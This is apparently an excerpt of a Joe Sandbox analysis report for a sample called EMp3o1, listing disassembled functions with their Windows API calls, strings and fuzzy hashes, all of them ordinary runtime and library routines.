Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: FileInfoSleepStartupType
String ID:
API String ID: 1527402494-0
Opcode ID: b08a78d08636f6435b28fe3dd3a9dc7fe07bd3625b9b0f375563a7ba95a95139
Instruction ID: 2708af0267d8365e54dad009941ca9060f987db411f69ca3ecc20d856229d7df
Opcode Fuzzy Hash: b08a78d08636f6435b28fe3dd3a9dc7fe07bd3625b9b0f375563a7ba95a95139
Instruction Fuzzy Hash: 68917DB260468085E726CB2AE8487D936E4A71A7F4F554726EB79473F1DA7EC841C301

Function 0000000140009E30 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E3E
GetLastError.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E5E
GetCommandLineA.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E9B
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009EBB

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CommandLine$ByteCharErrorLastMultiWide
String ID:
API String ID: 3078728599-0
Opcode ID: ef26d27679934e8a1eb9f7884d3deda4952e844cae744d2e9e47d116f2e36b92
Instruction ID: cab5f27f5268d67fa2b955b7a4895f7bd1e416bc4c6d53bc856f5ac88b27d897
Opcode Fuzzy Hash: ef26d27679934e8a1eb9f7884d3deda4952e844cae744d2e9e47d116f2e36b92
Instruction Fuzzy Hash: 04316D72614A8082EB21DF52F80479A77E1F78EBD0F540225FB9A87BB5DB3DC9458B00

Function 000000014000FD50 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDAC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDC7

Part of subcall function 0000000140010B30: CreateFileA.KERNEL32 ref: 0000000140010B5A

GetConsoleOutputCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDDC
WideCharToMultiByte.KERNEL32 ref: 000000014000FE0D
WriteConsoleA.KERNEL32 ref: 000000014000FE32

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Console$Write$ByteCharCreateErrorFileLastMultiOutputWide
String ID:
API String ID: 1850339568-0
Opcode ID: 4201eac49788cf302f684002ef01a2526af238478ded1ce40358f727cda20400
Instruction ID: bea3f08d648c3b04eb316e4c6042deaac10e1fdf59f4257f2eabc448b4c653dc
Opcode Fuzzy Hash: 4201eac49788cf302f684002ef01a2526af238478ded1ce40358f727cda20400
Instruction Fuzzy Hash: 38317AB1214A4482EB12CF22F8403AA73A1F79D7E4F544315FB6A4BAF5DB7AC5859B00

Function 00007FFDAC08FB54 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FFDAC08FB7C
_set_statfp.LIBCMT ref: 00007FFDAC08FB97
_set_statfp.LIBCMT ref: 00007FFDAC08FBB3
_set_statfp.LIBCMT ref: 00007FFDAC08FBEF

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 4d3c2bc84a878a3ff3d229176cc4d467c3c986fbb6f3ea169b2dd3d189eb8c82
Instruction ID: 6fe893a8b7f7f69ddf03af39da29d068740fb628badfa901e448138ed8e0ecbb
Opcode Fuzzy Hash: 4d3c2bc84a878a3ff3d229176cc4d467c3c986fbb6f3ea169b2dd3d189eb8c82
Instruction Fuzzy Hash: 0A115E72F1EA5B01F6A41178E57637920516F9C7F4F148634E5AE063DB8F2CE8606B0D

Function 00007FFDAC089684 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FFDAC08766F,?,?,00000000,00007FFDAC08790A,?,?,?,?,?,00007FFDAC087896), ref: 00007FFDAC0896A3
FlsSetValue.KERNEL32(?,?,?,00007FFDAC08766F,?,?,00000000,00007FFDAC08790A,?,?,?,?,?,00007FFDAC087896), ref: 00007FFDAC0896C2
FlsSetValue.KERNEL32(?,?,?,00007FFDAC08766F,?,?,00000000,00007FFDAC08790A,?,?,?,?,?,00007FFDAC087896), ref: 00007FFDAC0896EA
FlsSetValue.KERNEL32(?,?,?,00007FFDAC08766F,?,?,00000000,00007FFDAC08790A,?,?,?,?,?,00007FFDAC087896), ref: 00007FFDAC0896FB
FlsSetValue.KERNEL32(?,?,?,00007FFDAC08766F,?,?,00000000,00007FFDAC08790A,?,?,?,?,?,00007FFDAC087896), ref: 00007FFDAC08970C

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: bb51f29ac47eeb1f6796421cb9a02d5f68bea7befc5ae5f024f95b6d7c89f858
Instruction ID: 4401f45b63c78aefb4722a90d2d25a6d33f12cffe706c08c085d515959c7593d
Opcode Fuzzy Hash: bb51f29ac47eeb1f6796421cb9a02d5f68bea7befc5ae5f024f95b6d7c89f858
Instruction Fuzzy Hash: 57116D20B0F24245FA687725697117931915F44BF0F588335E86E067CBEF2CE461A70C

Function 00007FFDAC089518 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FFDAC089529
FlsSetValue.KERNEL32 ref: 00007FFDAC089548
FlsSetValue.KERNEL32 ref: 00007FFDAC089570
FlsSetValue.KERNEL32 ref: 00007FFDAC089581
FlsSetValue.KERNEL32 ref: 00007FFDAC089592

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 268c2f24943cee61b6b4fcee88cdb8167fba3483a6ba8794c8981ad7437e3c9d
Instruction ID: 6bf9051f1b020aed11ca7476cc668a982bce46db50200ac0ca0353189d363966
Opcode Fuzzy Hash: 268c2f24943cee61b6b4fcee88cdb8167fba3483a6ba8794c8981ad7437e3c9d
Instruction Fuzzy Hash: 3E11B050B4F2065AFA78B661587227932914F84BF0E588735D92E0A7D3EF2CF461A70C

Function 00007FFDAC085448 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FFDAC0854B8
_CallSETranslator.LIBVCRUNTIME ref: 00007FFDAC085503

Strings

RCC, xrefs: 00007FFDAC0854D4
MOC, xrefs: 00007FFDAC0854CC

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05e6bcd6379202f9de8a504331af606c6f0c7846a7ada8f8d1f8410d364d1b1d
Instruction ID: 76cf5ec1040fd5762469fa946a1a0914adf410a27ccff2c2dd52c772ed7ab070
Opcode Fuzzy Hash: 05e6bcd6379202f9de8a504331af606c6f0c7846a7ada8f8d1f8410d364d1b1d
Instruction Fuzzy Hash: 27919373B09B818AEB20CF64E4602AD7BA0F7447D8F14813AEA4D57756DF38D1A5DB08

Function 00007FFDAC083A38 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFDAC083A63
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FFDAC083AFA
RtlUnwindEx.KERNEL32 ref: 00007FFDAC083B54

Strings

csm, xrefs: 00007FFDAC083AE1

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 600c049ef3683cbbf08a5c5522dfbe353e9582842af90703f029184ead156da5
Instruction ID: 70a89f2b906ee3799f0ca52db6b30d344498930ccae12a26931a1f6c461d0b5f
Opcode Fuzzy Hash: 600c049ef3683cbbf08a5c5522dfbe353e9582842af90703f029184ead156da5
Instruction Fuzzy Hash: 1851B331B1A6428ADB248F19D464A7D7791EB84BE8F10C131DA4A43746DF7DE861DB0C

Function 00007FFDAC0851D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FFDAC085237
_CallSETranslator.LIBVCRUNTIME ref: 00007FFDAC085283

Strings

MOC, xrefs: 00007FFDAC08524B
RCC, xrefs: 00007FFDAC085253

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 5cda7244b452661d0672782f382aa0b3873e73ebf845244b9e3a73cca65a7280
Instruction ID: 567c2e89890ac2ef4be90e7906f7b0fae13703eb2c86d426548b49e4da6d7358
Opcode Fuzzy Hash: 5cda7244b452661d0672782f382aa0b3873e73ebf845244b9e3a73cca65a7280
Instruction Fuzzy Hash: F3619432A09BC585EB718F15E4503A9B7A0FB857E4F048225EB9C47B96CF7CD1A0DB08

Function 00007FFDAC0859C8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFDAC0859F0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFDAC085AD8

Strings

csm, xrefs: 00007FFDAC085B2A
csm, xrefs: 00007FFDAC085A12

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: e758ec8c21499b3e432f6d95c1f73bf76a1a56d3c0875a2448db4a431929008f
Instruction ID: 4494ebb3a1b1570791fcebc11305ed7827615b9580a0ec3c8227152fdbc8ab40
Opcode Fuzzy Hash: e758ec8c21499b3e432f6d95c1f73bf76a1a56d3c0875a2448db4a431929008f
Instruction Fuzzy Hash: 0C517E32B0A3828AEF748F1594A426876A1EB64BE4F14C135DA5D87786CF3CE461DB0D

Function 000000014000EDC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001400073E0: LdrLoadDll.NTDLL ref: 00000001400073E2

GetModuleHandleA.KERNEL32 ref: 000000014000EE2D
GetProcAddress.KERNEL32 ref: 000000014000EE42

Strings

kernel32.dll, xrefs: 000000014000EE26
InitializeCriticalSectionAndSpinCount, xrefs: 000000014000EE38

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: AddressHandleLoadModuleProc
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 3055805555-3733552308
Opcode ID: 8c1e87d42adfe8e60614ff850b90a208d486e410194b6671aa5990fefe8541df
Instruction ID: 601bfb796087d826a15eddab62e6da73c6b3e4e45b37998f9684764b2688f2d2
Opcode Fuzzy Hash: 8c1e87d42adfe8e60614ff850b90a208d486e410194b6671aa5990fefe8541df
Instruction Fuzzy Hash: 5C2136B1614B8582EB66DB23F8407DAA3A5B79C7C0F880526BB49577B5EF78C500C700

Function 00000001400026F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

#4.VSELOG ref: 000000014000271C
GetCurrentProcess.KERNEL32 ref: 0000000140002721
SetProcessWorkingSetSize.KERNEL32 ref: 0000000140002731

Strings

Shrinking process size, xrefs: 000000014000270E

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Process$CurrentSizeWorking
String ID: Shrinking process size
API String ID: 2122760700-652428428
Opcode ID: 928bd44cec0a58dd036a38053952d90c466f8539e57cdcef56d3cedc878990dc
Instruction ID: de407452bcc55573093b25e37d4a5c8190b9a80636e05c4b95c6e58ff86151e7
Opcode Fuzzy Hash: 928bd44cec0a58dd036a38053952d90c466f8539e57cdcef56d3cedc878990dc
Instruction Fuzzy Hash: 74E0C9B4601A4191EA029F57A8A03D41260A74CBF0F815721AA290B2F0CE3985858310

Function 00000001400030B0 Relevance: 6.3, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400030E7
LeaveCriticalSection.KERNEL32 ref: 000000014000316B
EnterCriticalSection.KERNEL32 ref: 0000000140003195
EnterCriticalSection.KERNEL32 ref: 00000001400031C6
LeaveCriticalSection.KERNEL32 ref: 00000001400031DD

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 5d43bde81a4cf71b6d13cac54dc418821bc3305084b6f84d33dc9cdc1ff96344
Instruction ID: acd2e58e1a3fd81a861280768b65888603737fa84cc19007189881c9ae716cb0
Opcode Fuzzy Hash: 5d43bde81a4cf71b6d13cac54dc418821bc3305084b6f84d33dc9cdc1ff96344
Instruction Fuzzy Hash: D331137A225A4082EB128F1AF8407D57364F79DBF5F480221FF6A4B7B4DB3AC8858744

Function 00007FFDAC08E3F4 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FFDAC08E473
WriteFile.KERNEL32 ref: 00007FFDAC08E73B
WriteFile.KERNEL32 ref: 00007FFDAC08E781
GetLastError.KERNEL32 ref: 00007FFDAC08E837

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0c7799b21e1c94aa1fd225f6b85a6c051f6d6fdfc663a61abe1d9cd11d154d48
Instruction ID: 831bd74ffc12c5f41fda9ef2ef6850ebfc3f13e5dfc29575dc48f9cabb7a5d4b
Opcode Fuzzy Hash: 0c7799b21e1c94aa1fd225f6b85a6c051f6d6fdfc663a61abe1d9cd11d154d48
Instruction Fuzzy Hash: 61D1E536B0AA8189E720CF65D4502EC37B1F744BE8B508275CE6D57B9ADF38D426D348

Function 00007FFDAC08ED1C Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFDAC08ED07), ref: 00007FFDAC08EE38
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFDAC08ED07), ref: 00007FFDAC08EEC3

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 011e2ebe13567d8ad8ddad1d699b44402174a3121c3ef3043a650edb943c864e
Instruction ID: f5a841966cede3ab7143a6a6749f2183fc8730fd293be8935db19f8c6b958536
Opcode Fuzzy Hash: 011e2ebe13567d8ad8ddad1d699b44402174a3121c3ef3043a650edb943c864e
Instruction Fuzzy Hash: 3E91F536B1A65189F7708F3594602BC3BA0AB44BE8F148179DE2E53786CF38D465E71C

Function 0000000140004760 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 0000000140004774
ResetEvent.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 0000000140004870
SetEvent.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 000000014000487D
LeaveCriticalSection.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 000000014000488A

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: c0905a8df1c3b6d7d2917c1fcaa4435d9a1a27abfa891a899b8a9d6119ba031b
Instruction ID: 8df361fa7c869b6ec715234f9c2df2ced8c6baf833446e4218a9444c3b5dacad
Opcode Fuzzy Hash: c0905a8df1c3b6d7d2917c1fcaa4435d9a1a27abfa891a899b8a9d6119ba031b
Instruction Fuzzy Hash: 0F31D1B5614F4881EB42CB57F8803D463A6B79CBD4F984516EB0E8B372EF3AC4958304

Function 0000000140004400 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014000441F
ResetEvent.KERNEL32 ref: 00000001400044CB
SetEvent.KERNEL32 ref: 00000001400044D5
LeaveCriticalSection.KERNEL32 ref: 00000001400044DF

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: 6e550663b123c7b4300ff756dd79b72a11867f34fdb7ecd18ec55ee4b4ab60ba
Instruction ID: 80aeca48758360c6ba791d23c15ba34d7cc547f8c7a26c6fbcbbb07f4ec0a80e
Opcode Fuzzy Hash: 6e550663b123c7b4300ff756dd79b72a11867f34fdb7ecd18ec55ee4b4ab60ba
Instruction Fuzzy Hash: 6F3127B2220A8483D761DF27F48439AB3A0F798BD4F000116EB8A47BB5DF39E491C344

Function 00007FFDAC082218 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFDAC082244
GetCurrentThreadId.KERNEL32 ref: 00007FFDAC082252
GetCurrentProcessId.KERNEL32 ref: 00007FFDAC08225E
QueryPerformanceCounter.KERNEL32 ref: 00007FFDAC08226E

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 540efdc4acb7237d38814a0210c5b4881e051432956c40de0382b68ade111df8
Instruction ID: 84b922cebee6e031bc73f859978ab8f1da5c54095d0e61aa5d6617facfc5e7ff
Opcode Fuzzy Hash: 540efdc4acb7237d38814a0210c5b4881e051432956c40de0382b68ade111df8
Instruction Fuzzy Hash: 80111C22B16B018AEB00CB60E8653B833A4F7597A8F440A31DA6D467A5DF78D165C348

Function 0000000140013670 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 000000014001367B
CreateEventW.KERNEL32 ref: 000000014001368D
CreateEventW.KERNEL32 ref: 00000001400136A7
CreateEventW.KERNEL32 ref: 00000001400136C0

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

